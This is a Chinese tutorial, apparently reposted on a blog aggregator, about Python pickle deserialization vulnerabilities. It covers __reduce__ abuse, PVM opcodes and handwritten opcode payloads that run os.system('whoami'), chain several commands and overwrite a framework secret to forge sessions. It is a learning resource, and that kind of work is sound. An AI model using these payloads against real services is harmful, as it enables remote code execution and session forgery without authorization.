Pickle反序列化学习

这篇具有很好参考价值的文章主要介绍了Pickle反序列化学习。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

什么是Pickle?

很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题

Pickle使用

举个简单的例子

import pickle
class Person():
    def __init__(self):
        self.age = 18
        self.name = 'F12'
p = Person()
opcode = pickle.dumps(p)
print(opcode)

person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name)


# 输出结果
# b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
# <__main__.Person object at 0x00000297918FBF10>
# 18
# F12

pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程

注意

值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样

魔术方法__reduce__

object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行

Pickle反序列化漏洞利用

import pickle 
import os
class Exp():
    def __reduce__(self):
        return (os.system, ('whoami', ))
e = Exp()
opcode = pickle.dumps(e)
pickle.loads(opcode)

# 输出结果
sevydhodungnwjp\hacker

很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle

Pickle的工作原理

opcode的解析依靠Pickle Virtual Machine (PVM)进行
PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

Pickle反序列化学习
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。

pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令

常用opcode指令介绍

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n(记忆栈) pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象(self.stack) 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

更多的opcode指令可以查看pickle.py获取

PVM工作流程

嫖的动图
PVM解析str
Pickle反序列化学习

PVM解析__reduce__:
Pickle反序列化学习

手写opcode

举个简单的opcode例子:

opcode = '''cos              # c[moudle]\n[instance]\n
system			     # 前两句相当于导入os模块,调用system
(S'whoami'		     # ( 压入MARK标记 , S'whoami' 压入 whoami字符串
tR.			     # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami')
'''			     # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami')
                             # . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果

程序:

import pickle
opcode = '''cos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker

pickletools介绍

pickletools模块可以将opcode指令转变成易读的形式:

import pickletools
opcode = '''cos
system
(S'whoami'
tR.
'''
print(pickletools.dis(opcode.encode()))

Pickle反序列化学习

多命令执行

在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到.导致程序结束返回就能一直执行命令

import pickle
opcode = '''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker
sevydhodungnwjp\hacker

R,i,o介绍

在opcode里能执行函数的字节码就是R,i,o

  • R
opcode=b'''cos
system
(S'whoami'
tR.
'''
  • i : 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'whoami'
ios
system
.'''
  • o : 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi

import pickle
class Person():
    def __init__(self, age, name):
        self.age = age
        self.name = name
opcode = '''c__main__
Person
(I18
S'F12'
tR.
'''
p = pickle.loads(opcode.encode())
print(p.age)
print(p.name)

# 运行结果
18
F12

变量覆盖

也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session

secret = "F13"
import pickle
import secret
print("一开始:"+ secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'F12'
db.
'''
fake = pickle.loads(opcode)
print("最后:"+ fake.secret)

# 运行结果
一开始:F13
最后:F12

首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12

Pker工具介绍

一个方便生成所需要opcode代码的工具:https://github.com/eddieivan01/pker
仿python语法生成opcode,使用方法很简单Pickle反序列化学习文章来源地址https://www.toymoban.com/news/detail-818674.html

到了这里,关于Pickle反序列化学习的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 什么是序列化和反序列化?

    JSON(JavaScript Object Notation)和XML(eXtensible Markup Language)是两种常用的数据交换格式,用于在不同系统之间传输和存储数据。 JSON是一种轻量级的数据交换格式,它使用易于理解的键值对的形式表示数据。JSON数据结构简单明了,易于读写和解析,是基于JavaScript的一种常用数据

    2024年02月09日
    浏览(54)
  • 【Linux】简单的网络计算器的实现(自定义协议,序列化,反序列化)

    我们需要实现一个服务器版的加法器. 我们需要客户端把要计算的两个加数发过去, 然后由服务器进行计算, 最后再把结果返回给客户端` 详细可参考我之前写的博客【Linux】记录错误信息日志的实现

    2024年02月19日
    浏览(53)
  • Unity | 序列化(Serialized)和反序列化(NonSerialized)是什么意思

    一、什么是序列化 官方叙述: 序列化是将对象的状态信息转换为可以存储或传输的形式的过程。 人话叙述: 我们平时输入的代码,实际上是不能储存或者传输的,所以我们需要翻译一下,翻译成能储存或者翻译的文字,这个翻译的过程叫做序列化。 二、什么要序列化 问题

    2024年02月11日
    浏览(48)
  • [Linux] 初识应用层协议: 序列化与反序列化、编码与解码、jsoncpp简单使用...

    有关Linux网络, 之前的文章已经简单演示介绍了 UDP 、 TCP 套接字编程 相关文章: [Linux] 网络编程 - 初见UDP套接字编程: 网络编程部分相关概念、TCP、UDP协议基本特点、网络字节序、socket接口使用、简单的UDP网络及聊天室实现… [Linux] 网络编程 - 初见TCP套接字编程: 实现简单的单

    2024年02月15日
    浏览(61)
  • Android : 序列化 JSON简单应用

    JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于阅读和写入,同时也易于机器解析和生成。它基于JavaScript的子集,采用完全独立于语言的文本格式来存储和表示数据。JSON是纯文本,并且完全是语言无关的。 JSON使用JavaScript语法来描述数据结构,但实际上JSON所

    2024年02月04日
    浏览(34)
  • C#: Json序列化和反序列化,集合为什么多出来一些元素?

    如下面的例子,很容易看出问题: 如果类本身的无参构造函数, 就添加了一些元素,序列化,再反序列化,会导致元素增加。 如果要避免,必须添加: new JsonSerializerSettings() { ObjectCreationHandling = ObjectCreationHandling.Replace }

    2024年02月10日
    浏览(55)
  • Dubbo默认使用什么序列化框架?

    Dubbo默认使用的序列化框架是Hessian 2.0。Hessian是一种基于二进制的序列化协议,它具有简单、高效的特点,适用于网络传输和存储数据。Hessian在Dubbo中被广泛使用,因为它可以在不同的编程语言之间进行对象的序列化和反序列化。 除了Hessian,Dubbo还支持其他的序列化框架,可

    2024年02月09日
    浏览(32)
  • 【问题】java序列化,什么时候使用

    把对象转换为字节序列的过程称为对象的序列化。 把字节序列恢复为对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 1)把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2)在网络上传送对象的字节序列。 一般来说如果你的对象需要网络传

    2024年02月12日
    浏览(32)
  • unity中,什么是序列化资源?

    好的,以下是序列化资源(Serialized Asset)的详细解释,包括介绍、方法和举例: 在Unity中,序列化资源是指将Unity场景或预制件中的对象及其属性保存到磁盘上的文件中,以便在将来将其还原为原始状态。序列化资源文件可以包括场景文件(.unity)和预制件文件(.prefab),它

    2024年02月10日
    浏览(38)
  • Dubbo默认使用什么序列化框架?还有哪些?

    Dubbo默认使用的序列化框架是Hessian 2.0。Hessian是一种基于二进制的序列化协议,它具有简单、高效的特点,适用于网络传输和存储数据。Hessian在Dubbo中被广泛使用,因为它可以在不同的编程语言之间进行对象的序列化和反序列化。 除了Hessian,Dubbo还支持其他的序列化框架,可

    2024年02月10日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包